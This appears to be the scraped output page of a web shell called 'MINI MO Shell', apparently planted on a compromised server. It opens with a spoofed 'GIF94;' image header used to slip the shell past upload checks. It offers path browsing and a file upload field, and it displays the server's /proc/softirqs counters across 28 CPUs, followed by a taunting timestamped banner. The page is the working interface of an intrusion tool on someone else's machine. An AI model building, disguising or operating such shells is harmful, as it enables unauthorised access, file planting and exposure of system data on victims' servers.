GIF94; MINI MO Shell - Tarih Gösterimli

MINI MINI MANI MO - TARİH GÖSTERİMLİ

Path : /proc/
File Upload :
Current File : //proc/softirqs

                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      
          HI:          0          0          0          0          0          0          0          0        150          0          1          0          0          0          0          0          0          0          0          6          0          0          0          0          0          0          0          0
       TIMER:   61479892   30869070   40005684   26570417   33385262   19788279  277460590   48712476  143521802   60610953  136185108   61630779  102479923    5800270   18512011    3003168    8129495    5786868    3912999    2777584    1718055    1378048    1039875     858233     990959     802473     665735     655672
      NET_TX:      20403      16487       8524       6658       2296       1587   12447308       6173      56141      18646      49445      17701      10456          4        130          3         39         84         37         21         17         14         20          9          7          7          4          7
      NET_RX:  394596536  344619506  194915541  122614749  133833635  107628447 4094046265   42533767  446897851  127329369  362956601  120240178   77740962     147491     410350      68102      64465      43694      28605      20095      13800      10482       8032       6578      10284       6663       6262       6219
       BLOCK:          0          0          0          0          0          0          0         71          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:         85         63         65         73         87         50   54834536       1903   17045022      10435      20416      11071       5885          1         22          1          2         33          0          1          0          0          0          0          4          0          0          0
       SCHED:  328413599  107989778   83876380   56795070   68666052   43854476  426128748   69042953  270784835  122688839  267903700  128799304  186002822    3016841   26389886    5937157    9270296    6457192    4290762    3017754    1878581    1499581    1152304     989441    1119270     850434     750511     757081
     HRTIMER:          0          0          2          0          0          0     306321          1          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU:   66651369   36901704   40912350   30055202   34062429   23075552  195276934   49748566  143070094   73015048  143623509   75582654  114785135    4060554   12000274    3215439    5916158    4197669    2842713    1991898    1267497    1035616     804268     705304     778107     615241     548409     550289

OHA YOOO - Tarih: 2026-08-03 23:33:43